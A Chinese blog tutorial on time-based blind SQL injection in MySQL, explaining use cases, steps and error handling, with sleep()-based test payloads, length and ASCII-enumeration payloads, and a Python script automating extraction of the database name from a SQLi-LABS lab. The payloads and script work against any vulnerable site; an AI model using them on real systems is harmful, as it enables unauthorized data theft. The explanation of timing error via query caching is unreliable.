超硬核,SQL注入之时间盲注,原理+步骤+实战思路

article/2025/9/13 16:40:49

「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》

时间盲注

  • 一、什么是时间盲注?
  • 二、使用场景
  • 三、使用步骤
    • 第一步:判断注入点
    • 第二步:判断长度
    • 第三步:枚举字符
  • 四、时间盲注的弊端
  • 五、盲注脚本
  • 六、实战思路
    • 1. 判断是否存在时间盲注
      • 原理分析
    • 2. 脱库
      • 2.1 判断返回结果的长度
        • 原理分析
      • 2.2 枚举字符
        • 原理分析
  • 七、误差判断
  • 推荐专栏

一、什么是时间盲注?

时间盲注是指基于时间的盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。

二、使用场景

时间盲注使用的优先级并不高,通常是在联合注入、报错注入、布尔盲注都无法使用时才会考虑使用:

  1. 页面没有回显位置(联合注入无法使用)
  2. 页面不显示数据库的报错信息(报错注入无法使用)
  3. 无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)

三、使用步骤

时间盲注的使用方式跟布尔盲注大同小异,可以分为三个步骤。

第一步:判断注入点

依次尝试以下类型的测试payload,延时5秒以上则说明判断成立,即存在注入

?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a
?id=1" and if(1,sleep(5),3) -- a括号及各种过滤类型……

提示:sleep的时间可以自定义,时间太长效率太低、时间太短则不容易判断。

第二步:判断长度

利用MySQL的 if() 和 sleep() 判断查询结果的长度,从1开始判断,并依次递增。

?id=1' and if((length(查询语句) =1), sleep(5), 3) -- a

如果页面响应时间超过5秒,说明长度判断正确(sleep(5));
如果页面响应时间不超过5秒(正常响应),说明长度判断错误,继续递增判断长度。
在这里插入图片描述

第三步:枚举字符

利用MySQL的 if() 和 sleep() 判断字符的内容。
从查询结果中截取第一个字符,转换成ASCLL码,从32开始判断,递增至126。
关于ASCLL码可参考我的另一篇文章:ASCLL编码对照表

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- a

如果页面响应时间超过5秒,说明字符内容判断正确;
如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。

第一个字符猜解成功后,依次猜解第二个、第三个……第n个(n表示返回结果的长度)。

四、时间盲注的弊端

  1. 时间盲注的时间复杂度较高,需要消耗大量的时间。
  2. 时间盲注容易受到网络波动等因素的影响,从而产生误差。

时间盲注误差大、时间成本高,通常情况下,能够证明注入存在就可以了。

五、盲注脚本

时间盲注通常会使用脚本自动化猜解,Python脚本如下,可按需修改:

import requests
import time# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload# 目标网址(不带参数)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if((length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if((ascii(substr((database()),{n},1)) ={r})
, sleep(5), 3) -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:start_time = time.time()response = requests.get(url= url+payload_len.format(n= length))# 页面响应时间 = 结束执行的时间 - 开始执行的时间use_time = time.time() - start_time# 响应时间>5秒时,表示猜解成功if use_time > 5:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):start_time = time.time()response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面响应时间 = 结束执行的时间 - 开始执行的时间use_time = time.time() - start_time# 页面中出现此内容则表示成功if use_time > 5:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

六、实战思路

试验靶场:SQLi LABS Less 9
注入情况:单引号字符型注入

1. 判断是否存在时间盲注

确定注入点以后,需要判断网页是否存在时间盲注,同时满足以下两种情况时,可以确定存在时间盲注:

?id=1' and if(1, sleep(5), 3) -- a	延时5秒响应
?id=1' and if(0,sleep(5),3) -- a	正常响应

原理分析

if() 函数的第一个参数是条件表达式,1会转换为 True,0会转换为 False。
条件表达式结果为 True 时,会执行第二个参数位置的代码,即 sleep(5),延时5秒响应;
条件表达式结果为 False 时,会执行第三个参数位置的代码,即 3,自定义的占位符,无实际意义,页面正常响应。
在这里插入图片描述

2. 脱库

确定时间盲注存在以后,就可以进行脱库了。
脱库分为两个步骤:判断长度、枚举字符

2.1 判断返回结果的长度

我们以判断当前使用的数据库名的长度来举例,首先判断长度是否大于1。

?id=1' and if((length(database()) >1)
,sleep(5),3) -- a

原理分析

payload拼接到SQL中,执行过程如下:

在这里插入图片描述

库名的长度肯定大于1,如果页面响应时间大于5秒,说明payload可用,开始从1开始测试长度,依次递增:
在这里插入图片描述

2.2 枚举字符

库名可用的字符有95个,比如大小写字母、数字、下划线等特殊字符。
我们截取第一个字符,穷举这95种可能性即可,为了方便猜解,我们将字符转换为ASCLL码再进行判断(字符对应的ASCLL为 32~126)。

先判断当前使用的数据库名 第一个字符的ASCLL码是否大于1:

?id=1' and if((ascii(substr((database()),1,1)) >1)
, sleep(5), 3) -- a

原理分析

payload拼接到SQL中,执行过程如下:
在这里插入图片描述
第一个字符的ASCLL码肯定大于1,页面响应5秒以上,说明payload可用,。
依次判断32到126,页面响应5秒以上说明猜解正确;页面正常响应说明猜解错误。
猜解成功第一个字符后,再依次猜解第二、第三……第n个字符(n表示返回结果的长度)。

七、误差判断

同样的payload,如果第一次响应时间很长,但第二次响应时间很短,就说明是受到了网络波动的影响。如果两次响应时间都很长,则说明延时成功。

原理:数据库会将执行过的SQL语句及执行结果放到缓存里,以减小数据库的访问压力。数据库在执行SQL时,会先找缓存,如果缓存存在一样的SQL,则会直接返回缓存中的查询结果,而不会查找数据库。
这就意味着同样一条SQL,第一次执行时,会消耗较多的时间(查数据库);而第二次执行时,几乎不消耗时间(查缓存)。

推荐专栏

《网络安全快速入门》用最短的时间,掌握最核心的网络安全技术。
《靶场通关教程》各种靶场的通关教程,持续更新……


http://chatgpt.dhexx.cn/article/x6DDo18q.shtml

相关文章

SQL盲注注入——布尔型

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。 Length()函数 返回字符串的长度 Substr&…

【SQL注入漏洞-04】布尔盲注靶场实战

布尔盲注 当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。 布尔盲注原理: 利用页面返回的布尔类型状态,正…

SQL注入之盲注简单总结

Mysql盲注总结 什么是盲注? 盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。SQL盲注与SQL普通注入的区别?…

sql盲注

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 sql注入--盲注 前言一、什么是盲注二、步骤示例1.测试注入点2.测所在数据库长度3. 利用ASCII码猜当前数据库名 4.利用ASCII码查询表名5、利用ASCII码查询字段名sql手注所用到…

Sql盲注与普通注入的区别

Sql盲注与普通注入的区别 在学习sql注入的时候,好多同学都是不弄清楚原理,去浏览器上狂搜一下注入语句,就开始对老师给的靶机注入,虽然能注入成功,但是不清楚原理,对以后的学习和工作没有多大的好处。现在我…

SQL 注入-盲注

目录 一、什么时候用到盲注? 二、盲注的优缺点 三、盲注的流程 四、盲注的分类 五、布尔盲注 5.1、原理以及什么时候使用布尔盲注? 5.2、例如upload-labs靶场中的Less-8 5.3、布尔盲注常用函数及定义 5.4、length()函数的使用方法 5.5、substr…

Sqlmap使用-盲注小实验

目录 sqlmap简介 基本格式 sqlmap详细命令: Options(选项): Target(目标): Request(请求): Enumeration(枚举): O…

SQL注入原理-布尔盲注

小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注。 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1、判断是否存在注入点 2、尝试用报错盲注看是否能够成功爆出数据 3、使用布尔盲注来爆出数据信息…

DVWA之sql注入——盲注

1.盲注 1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示&#xff…

SQL注入2——盲注(重学)

SQL注入——盲注 SQL注入——盲注 SQL注入——盲注一、布尔型盲注1、判断2、盲注库名3、盲注表名4、盲注列名5、盲注数据 时间型盲注总结 一、布尔型盲注 假如网站一定存在SQL注入,当注入SQL语句(1’ and 12#)之后,网站页面缺没有…

注入利用——盲注

盲注基本概念: 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。 基于布尔的盲注 Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库 中的相关信息。 …

SQL注入-布尔盲注

页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length(abc) -- 判断字符串长度 substr(abc,1,1) -- 截取字符串,从第1个字符开始截取,截取1个 第一步,判断注入类型…

SQL注入原理-时间盲注

小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数…

sql注入之盲注相关知识

盲注 一.概念理解: 盲注(Blind SQL Injection ),就是在 sql 注入过程中, sql 语句执行之后, 数据不能回显到前端页面,需要利用一些方法进行判断或者尝试。 二.盲注基本条件: 自己可以控制输入 原程序要执行的代码拼接了用户输入的数据。 …

盲注--理论知识

盲注的简单定义: 我们在查询过程中,页面只有两种情况:“true”和“false”,要么有,要么没有;查询表的记录和语句错误也不会显示。这种状况下的注入,称为盲注。 盲注的关键点: 根据…

布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

「作者主页」:士别三日wyx 「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」:此文章已录入专栏《网络安全快速入门》 布尔盲注 一、适用环境二、盲注步骤三、原理分析1. 长度判断原理2. 穷举字…

SQL盲注(原理概述、分类)

盲注原理 盲注的分类 盲注常用函数 一、SQL盲注概述 盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注 1.如果数据库运行返回结…

盲注

目录 1、注入攻击的本质 2、盲注的介绍 (一)布尔盲注 (二)时间盲注 3、盲注常用方法 (一)length()函数 (二)substr()截取字符串…

SQL注入-盲注(布尔盲注与时间盲注)

目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注 2.使用布尔类型盲注的操作步骤: 3.布尔类型盲注的操作过程(以获取当前数据库为例) 4.使用其他…

详述ROWID的原理及其使用

ROWID基础概念 在Oracle内部,每个数据表都有一个伪列ROWID,用于存放被称为ROWID的二进制值。每个ROWID代表了一行数据的存储地址。物理ROWID能够标识普通数据表中的一行信息。其中ROWID类型只能存储物理内容,而UROWID(universal rowid)类型可…